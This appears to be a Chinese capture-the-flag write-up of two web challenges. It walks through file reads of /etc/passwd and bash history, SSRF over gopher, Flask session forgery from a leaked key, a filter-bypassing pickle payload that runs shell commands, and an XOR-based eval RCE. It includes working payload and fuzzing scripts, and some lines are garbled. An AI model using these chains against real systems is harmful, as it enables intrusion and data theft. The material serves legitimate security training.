下载题目附件得到:
error_reporting(0);
header("HINT:POST n = range(1,10)");
$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "your image is".base64_encode($image)."";
echo "";
}else{
$data = base64_encode(file_get_contents("tupian.png"));
echo "no image get,default img is dHVwaWFuLHBuZw==";
echo "";
}
}
首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可
$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同
根据提示(图片里面有隐藏信息)
分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php
搭配filter伪协议,读取文件内容得到文件代码:
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
典型ssrf 没有过滤
file:///etc/passwd 发现了secret用户
secret:x:1000:1000::/home/secret:/bin/sh
再根据提示:通过文件读取分析 bash记录
同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务
读取secret用户的历史命令,/home/secret/.bashhistory
看见了 /home/secret/Ez_Pickle/app.py文件
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"
User = type('User', (object,), {
'uname': 'xxx',
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET','POST'))
def index_handler():
u = pickle.dumps(User())
session['u'] = u
return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"
@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
try:
u = session.get('a')
if isinstance(u, dict):
code = b64decode(u.get('b'))
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
print(code)
return "what do you want???"
result=pickle.loads(code)
return result
else:
return "almost there"
except:
return "error"
if __name__ == '__main__':
app.run('127.0.0.1', port=5555, debug=False)
pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据
存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
o操作码绕过
import base64
import pickle
payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''
tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)
gopher带着cookie发包
之后再写入 flag文件内容到tmp里 读取即可
/userinfo.php?info= 这里存在ssrf
fuzz得知,估计是白名单 只能用 http:// https:// gopher://
在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1
结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问
发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’
访问,看见了三个功能,一个 search 一个calc 一个 logout
select.php这里存在任意文件读取
最终得到文件内容为:
select.php
error_reporting(0);
include "./profile.php";
ini_set('open_basedir','/var/www/html/');
$search = $_POST['search'];
if(!empty($search)){
if(preg_match('/[^a-zA-Z.]+/',$search)) {
die('hacker!');
} else {
$file_path=$search;
if(!file_exists($file_path)){
die("");
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
}
}
ini_set('open_basedir','/var/www/html/');
这里限制了只能访问 /var/www/html 下的文件
calc.php
error_reporting(0);
include "profile.php";
$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);
logout.php
include "profile.php";
header("location: ../index.php");
利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe()
决定
题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions
意思大概是:zephir在当前目录生成 php扩展
和 zephir有关 搜索得知 zephir 是专门开发php扩展的
zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录
唉 当时想到读so来自,Cmd.so Calc.so 都没有
后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着
同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件
function waf($code){
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){
return $code;
}else{
return "hacker!!!";
}
}
逆cmd.so 可以知道, Cmd\Calc::exe($one,$two)
是对one和two两个参数传进来的东西进行异或然后再当做php代码执行
因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:
import requests
import re
import string
burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
dic = string.printable
dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
for i in dic1:
for j in dic:
one = "{}".format(i)
two = "{}".format(j)
data = {"one": one, "two": two, "submit": "submit"}
text = requests.post(burp0_url, data=data)
char = ''.join(re.findall("(.+?)",text.text))
print(char,one,two)
黑盒 fuzz的时候 fuzz出来了大部分字符
P 1 a
S 1 b
R 1 c
U 1 d
T 1 e
W 1 f
V 1 g
Y 1 h
X 1 i
[ 1 j
Z 1 k
] 1 l
\ 1 m
_ 1 n
^ 1 o
A 1 p
@ 1 q
C 1 r
B 1 s
E 1 t
D 1 u
G 1 v
F 1 w
I 1 x
H 1 y
K 1 z
G t 3
E v 3
T g 3
[ h 3
] n 3
^ m 3
[ h 3
] n 3
\ 0 3
@ s 3
_ i 6
) b K
$ a E
| 4 H
0 a Q
! a @
: a [
= a \
< a ]
? a ^
> a _
# b A
& b D
, b N
- b O
+ B i
/ a N
但是 应该是 php7版本 eval() assert()这种解析问题
我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的
山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可
利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz
这里贴一张山河师傅成功的图:
参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U